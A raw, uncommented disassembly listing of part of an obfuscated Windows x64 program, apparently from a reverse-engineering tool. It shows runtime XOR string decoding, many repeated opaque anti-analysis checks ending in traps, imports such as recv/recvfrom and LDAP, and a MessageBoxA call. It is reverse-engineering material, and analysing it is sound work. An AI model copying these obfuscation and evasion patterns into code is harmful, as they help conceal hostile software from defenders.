mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c170
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da3c0]
movdqu xmmword [rbp + 0xbc8], xmm0
movdqa xmm1, xmmword [0x1400da5e0]
movdqu xmmword [rbp + 0xbd8], xmm1
mov dword [rbp + 0xbe8], 0x295e327
mov dword [rbp + 0xbec], 0xdcde11b1
mov r12d, reloc.WS2_32.dll_recvfrom
mov dword [rbp + 0xbf0], 0x6ab6eb09
xor eax, eax
mov byte [rbp + 0xbf4], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_46
mov r8, rdi
mov dl, byte [rbp + rdi + 0xbc8]
lea rcx, [rbp + 0xbc8]
call fcn.140029ee4
xor al, dil
mov byte [rbp + rdi + 0xbc8], al
inc rdi
cmp rdi, 0x2c
jb 0x14001c1bf
mov byte [rbp + 0xbf4], r15b
lea rdx, [rbp + 0xbc8]
lea rcx, [rbp + 0x1188]
call fcn.14000a0c8
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c2cc
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c2ac
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c2ac
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c2cc
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c376
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c356
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c356
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c376
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
lea rcx, [rbp + 0x9f8]
call fcn.14001a834
mov rdi, rax
lea rcx, [rsp + 0x60]
call fcn.14000a1d8
mov qword [rsp + 0x20], rax
mov r9d, 8
xor r8d, r8d
mov rdx, rdi
lea rcx, [rbp + 0x1208]
call fcn.14002af6c
lea rcx, [rbp + 0x9f8]
call fcn.14002aea8
lea rcx, [rbp + 0x9f8]
call fcn.14000a6e8
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c46e
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c44e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c44e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c46e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c518
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c4f8
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c4f8
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c518
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov dword [rbp - 0x68], 0xc2ee083a
mov word [rbp - 0x64], 0x7b1
xor eax, eax
mov byte [rbp - 0x62], al
mov rdi, r15
lea ebx, [rax + 6]
mov qword [rsp + 0x20], 0x36d78dab
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi - 0x68]
lea rcx, [rbp - 0x68]
call fcn.140029e78
xor al, dil
mov byte [rbp + rdi - 0x68], al
inc rdi
cmp rdi, rbx
jb 0x14001c530
mov byte [rbp - 0x62], r15b
mov dword [rbp - 0x58], 0xc2ee1a23
mov word [rbp - 0x54], 0x7b1
xor eax, eax
mov byte [rbp - 0x52], al
mov rdi, r15
mov qword [rsp + 0x20], 0x36d78dab
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi - 0x58]
lea rcx, [rbp - 0x58]
call fcn.140029e78
xor al, dil
mov byte [rbp + rdi - 0x58], al
inc rdi
cmp rdi, rbx
jb 0x14001c574
mov byte [rbp - 0x52], r15b
lea r8, [rbp - 0x58]
lea rdx, [rbp + 0x1188]
lea rcx, [rbp + 0xa38]
call fcn.14002b1dc
lea rdx, [rbp + 0x1208]
mov rcx, rax
call fcn.14002abb4
mov rdx, rax
lea rcx, [rbp + 0xa58]
call fcn.14002ad08
lea rcx, [rbp - 0x68]
call fcn.14000a230
mov rcx, rax
call fcn.14000a1d8
mov r8, rax
lea rdx, [rbp - 0x68]
lea rcx, [rbp + 0xa58]
call fcn.14002a9f4
mov rdx, rax
lea rcx, [rbp + 0xa78]
call fcn.14002ad08
lea rdx, [0x1400f2f00]
lea rcx, [rbp + 0xa78]
call fcn.14002abb4
mov rdx, rax
lea rcx, [rbp + 0x11e8]
call fcn.14002ad08
lea rcx, [rbp + 0xa78]
call fcn.14002aea8
lea rcx, [rbp + 0xa78]
call fcn.14000a6e8
lea rcx, [rbp + 0xa58]
call fcn.14002aea8
lea rcx, [rbp + 0xa58]
call fcn.14000a6e8
lea rcx, [rbp + 0xa38]
call fcn.14002aea8
lea rcx, [rbp + 0xa38]
call fcn.14000a6e8
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c71f
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c6ff
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c6ff
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c71f
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c7c9
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c7a9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c7a9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c7c9
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
lea rcx, [rbp + 0x1208]
call fcn.14002a81c
xor edx, edx
lea r8d, [rdx + 0xa]
mov rcx, rax
call fcn.140090c40
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c88d
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c86d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c86d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c88d
mov rax, qword [rbp + 0xf30]
mov rdx, qword [rbp + 0xf40]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001c94c
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c92c
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c92c
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001c94c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
nop
mov dl, byte [rsp + 0x60]
lea rcx, [rbp + 0x10e8]
call fcn.14000a180
lea rcx, [rbp + 0x10e8]
call fcn.14002af44
nop
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001ca13
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001c9f3
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001c9f3
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ca13
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001cabd
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ca9d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ca9d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cabd
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
lea rcx, [rbp + 0x11e8]
call fcn.14002a81c
mov r9b, 1
xor r8d, r8d
lea rdx, [rbp + 0x10e8]
mov rcx, rax
call fcn.14001a3b4
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001cb9d
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0xd7667f7
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cb7d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cb7d
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cb9d
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov dword [rbp + 0x1e0], 0x7854718d
mov dword [rbp + 0x1e4], 0x6503c8f0
mov dword [rbp + 0x1e8], 0x8a2a5a3b
xor eax, eax
mov byte [rbp + 0x1ec], al
mov rdi, r15
mov ebx, 0x36d78dab
mov qword [rsp + 0x20], rbx
mov r9d, recv
mov r8, rdi
mov dl, byte [rbp + rdi + 0x1e0]
lea rcx, [rbp + 0x1e0]
call fcn.140029e0c
xor al, dil
mov byte [rbp + rdi + 0x1e0], al
inc rdi
cmp rdi, 0xc
jb 0x14001cbcb
mov byte [rbp + 0x1ec], r15b
lea rdx, [rbp + 0x1e0]
lea rcx, [rbp + 0x10e8]
call fcn.14002b4f8
test al, al
je 0x14001d177
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001cccb
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ccab
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ccab
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cccb
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da520]
movdqu xmmword [rbp + 0x7b8], xmm0
mov dword [rbp + 0x7c8], 0x7f5d7304
mov word [rbp + 0x7cc], 0xa665
xor eax, eax
mov byte [rbp + 0x7ce], al
mov rdi, r15
mov qword [rsp + 0x20], rbx
mov r9d, reloc.WLDAP32.dll_Ordinal_22
mov r8, rdi
mov dl, byte [rbp + rdi + 0x7b8]
lea rcx, [rbp + 0x7b8]
call fcn.140029d34
xor al, dil
mov byte [rbp + rdi + 0x7b8], al
inc rdi
cmp rdi, 0x16
jb 0x14001ccf9
mov byte [rbp + 0x7ce], r15b
movdqa xmm0, xmmword [0x1400da400]
movdqa xmmword [rbp + 0xd60], xmm0
movdqa xmm1, xmmword [0x1400da450]
movdqa xmmword [rbp + 0xd70], xmm1
movdqa xmm0, xmmword [0x1400da440]
movdqa xmmword [rbp + 0xd80], xmm0
movdqa xmm1, xmmword [0x1400da540]
movdqa xmmword [rbp + 0xd90], xmm1
movdqa xmm0, xmmword [0x1400da3d0]
movdqa xmmword [rbp + 0xda0], xmm0
movdqa xmm1, xmmword [0x1400da6c0]
movdqa xmmword [rbp + 0xdb0], xmm1
movdqa xmm0, xmmword [0x1400da6b0]
movdqa xmmword [rbp + 0xdc0], xmm0
movdqa xmm1, xmmword [0x1400da6a0]
movdqa xmmword [rbp + 0xdd0], xmm1
mov dword [rbp + 0xde0], 0x5d686e3b
mov word [rbp + 0xde4], 0xb319
xor eax, eax
mov byte [rbp + 0xde6], al
mov rdi, r15
mov ebx, 0x86
mov qword [rsp + 0x20], 0x36d78dab
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0xd60]
lea rcx, [rbp + 0xd60]
call fcn.140029d9c
xor al, dil
mov byte [rbp + rdi + 0xd60], al
inc rdi
cmp rdi, rbx
jb 0x14001cdd7
mov byte [rbp + 0xde6], r15b
mov r9d, 4
lea r8, [rbp + 0x7b8]
lea rdx, [rbp + 0xd60]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov edx, eax
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001ceda
mov rcx, qword gs:[0x51]
xor rcx, rsi
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x51]
xor rcx, rsi
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x51]
xor rcx, rsi
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001ceba
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001ceba
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001ceda
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001cf84
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001cf64
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001cf64
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001cf84
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
cmp edx, 7
je 0x140029aca
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d037
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d017
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d017
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d037
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf30]
xor rdx, rax
mov rcx, qword [rbp + 0xf38]
xor ecx, edx
call fcn.14008fd18
int3
movdqa xmm0, xmmword [0x1400da3f0]
movdqu xmmword [rbp + 0xc28], xmm0
movdqa xmm1, xmmword [0x1400da580]
movdqu xmmword [rbp + 0xc38], xmm1
movdqa xmm0, xmmword [0x1400da380]
movdqu xmmword [rbp + 0xc48], xmm0
mov rdi, r15
mov ebx, 0x36d78dab
mov qword [rsp + 0x20], rbx
mov r9d, Ordinal_50
mov r8, rdi
mov dl, byte [rbp + rdi + 0xc28]
lea rcx, [rbp + 0xc28]
call fcn.140029ccc
xor al, dil
mov byte [rbp + rdi + 0xc28], al
inc rdi
cmp rdi, 0x2f
jb 0x14001d06f
mov byte [rbp + 0xc57], r15b
lea rcx, [rbp + 0xc28]
call fcn.14009416c
mov rax, qword gs:[0x1a]
mov edi, 0xd7667f7
cmp rax, r13
jne 0x14001d17c
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, edi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d157
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d157
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d17c
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov edi, 0xd7667f7
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d226
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d206
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d206
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d226
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
lea rdx, [rbp + 0x10e8]
lea rcx, [rbp + 0xa98]
call fcn.14002ad64
mov rdx, rax
lea rcx, [rbp + 0xab8]
call fcn.14001a97c
mov rdx, rax
lea rcx, [rbp + 0x10e8]
call fcn.14002ac40
lea rcx, [rbp + 0xab8]
call fcn.14002aea8
lea rcx, [rbp + 0xab8]
call fcn.14000a6e8
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d319
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d2f9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d2f9
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d319
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d3c3
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d3a3
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d3a3
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d3c3
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
xor edx, edx
lea rcx, [rbp + 0x1188]
call fcn.14002af18
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d48e
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d46e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d46e
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d48e
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d538
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, r14
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d518
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d518
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d538
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rcx, qword [rbp + 0x10f8]
call fcn.1400945dc
mov rbx, rax
mov qword [rbp - 0x40], rax
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d5f5
mov rcx, qword gs:[0x51]
xor rcx, r14
mov qword [rbp + 0xf30], rcx
mov rcx, qword gs:[0x51]
xor rcx, r14
mov qword [rbp + 0xf38], rcx
mov rcx, qword gs:[0x51]
xor rcx, r14
mov qword [rbp + 0xf40], rcx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d5d5
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d5d5
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d5f5
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d6b2
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d692
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d692
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d6b2
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
mov r14, qword [rbp + 0x10f8]
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d763
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf30], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf38], rax
mov rax, qword gs:[0x51]
xor rax, rsi
mov qword [rbp + 0xf40], rax
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf30]
cmp rax, rcx
je 0x14001d743
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf38]
cmp rax, rcx
je 0x14001d743
mov rcx, qword gs:[0x51]
mov rax, qword [rbp + 0xf40]
cmp rax, rcx
jne 0x14001d763
mov rax, qword [rbp + 0xf40]
mov rdx, qword [rbp + 0xf38]
xor rdx, rax
mov rcx, qword [rbp + 0xf30]
xor ecx, edx
call fcn.14008fd18
int3
test rbx, rbx
je 0x1400297c1
cmp qword [rbp + 0x10f8], r15
je 0x1400297c1
mov rax, qword gs:[0x1a]
cmp rax, r13
jne 0x14001d836
mov rcx, qword gs:[0x51]
xor edx, edx
mov rax, rdi
div rcx
mov qword [rbp + 0xf30], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x114209c
div rcx
mov qword [rbp + 0xf38], rdx
mov rcx, qword gs:[0x51]
xor edx, edx
mov eax, 0x14b092da
div rcx
mov qword [rbp + 0xf40], rdx
